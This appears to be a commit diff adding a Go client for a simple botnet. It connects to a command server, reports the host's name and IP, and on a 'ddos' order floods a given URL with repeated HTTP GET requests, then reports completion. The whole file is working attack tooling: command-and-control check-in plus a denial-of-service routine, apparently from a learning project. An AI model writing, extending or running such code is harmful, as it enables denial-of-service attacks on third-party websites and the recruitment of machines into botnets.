implemented v2

v1/client/main.go

@@ -0,0 +1,133 @@
+package main
+
+import (
+	"bufio"
+	"fmt"
+	"net"
+	"net/http"
+	"os"
+	"strconv"
+	"strings"
+	"time"
+)
+
+const (
+	CONN_HOST = "localhost"
+	CONN_PORT = "3333"
+	CONN_TYPE = "tcp"
+	sleeptime = 3000
+)
+
+func stablishConn() (conn net.Conn, err error) {
+	// connect to this socket
+	conn, err = net.Dial(CONN_TYPE, CONN_HOST+":"+CONN_PORT)
+	return conn, err
+}
+func tryToConnect() (conn net.Conn, err error) {
+	fmt.Println("trying to connect to the server")
+	connected := false
+	conn, err = stablishConn()
+	for connected == false {
+		conn, err = stablishConn()
+		if err != nil {
+			fmt.Println(err)
+			fmt.Println("server not connected, sleep for " + strconv.Itoa(sleeptime) + " to try again")
+			time.Sleep(sleeptime * time.Millisecond)
+			//os.Exit(1)
+		} else {
+			connected = true
+		}
+	}
+	return conn, err
+}
+func main() {
+	conn, err := tryToConnect()
+	hostname, err := os.Hostname()
+	if err != nil {
+		fmt.Println(err)
+		os.Exit(1)
+	}
+	fmt.Println("connecting to server as hostname:", hostname)
+	ip := getIp()
+	fmt.Println("local ip:", ip)
+	// send to socket
+	fmt.Fprintf(conn, "[client connecting] - [date]: "+time.Now().Local().Format(time.UnixDate)+" - [hostname]: "+hostname+", [ip]: "+ip.String()+"\n")
+	for {
+		command, err := bufio.NewReader(conn).ReadString('\n')
+		if err != nil {
+			fmt.Println(err)
+			fmt.Println("server disconnected")
+			//os.Exit(1)
+			conn, err = tryToConnect()
+		}
+		fmt.Println("Command from server: " + command)
+		//fmt.Println(len(strings.Split(command, " ")))
+
+		comm := strings.Split(command, " ")[0]
+		switch comm {
+		case "ddos":
+			fmt.Println("url case, checking parameters")
+			if len(strings.Split(command, " ")) < 3 {
+				fmt.Println("not enought parameters")
+				break
+			}
+			fmt.Println("url case")
+			go ddos(command, conn, hostname)
+		default:
+			fmt.Println("default case, no specified command")
+			fmt.Println("")
+			fmt.Println("-- waiting for new orders --")
+		}
+
+	}
+
+}
+
+func ddos(command string, conn net.Conn, hostname string) {
+	url := strings.Split(command, " ")[1]
+	url = strings.TrimSpace(url)
+
+	iterations := strings.Split(command, " ")[2]
+	iterations = strings.TrimSpace(iterations)
+	iter, err := strconv.Atoi(iterations)
+	if err != nil {
+		fmt.Println(err)
+	}
+	fmt.Println("url to ddos: " + url)
+	for i := 0; i < iter; i++ {
+		fmt.Println(i)
+		resp, err := http.Get(url)
+		if err != nil {
+			fmt.Println(err)
+		}
+		fmt.Println(resp)
+	}
+	msg := "[hostname]: " + hostname + ", [msg]: iterations done, ddos ended" + "[date]: " + time.Now().Local().Format(time.UnixDate)
+	fmt.Println(msg)
+	fmt.Fprintf(conn, msg+"\n")
+	fmt.Println("")
+	fmt.Println("-- waiting for new orders --")
+}
+
+func getIp() net.IP {
+	var ip net.IP
+	ifaces, err := net.Interfaces()
+	if err != nil {
+		fmt.Println(err)
+	}
+	for _, i := range ifaces {
+		addrs, err := i.Addrs()
+		if err != nil {
+			fmt.Println(err)
+		}
+		for _, addr := range addrs {
+			switch v := addr.(type) {
+			case *net.IPNet:
+				ip = v.IP
+			case *net.IPAddr:
+				ip = v.IP
+			}
+		}
+	}
+	return ip
+}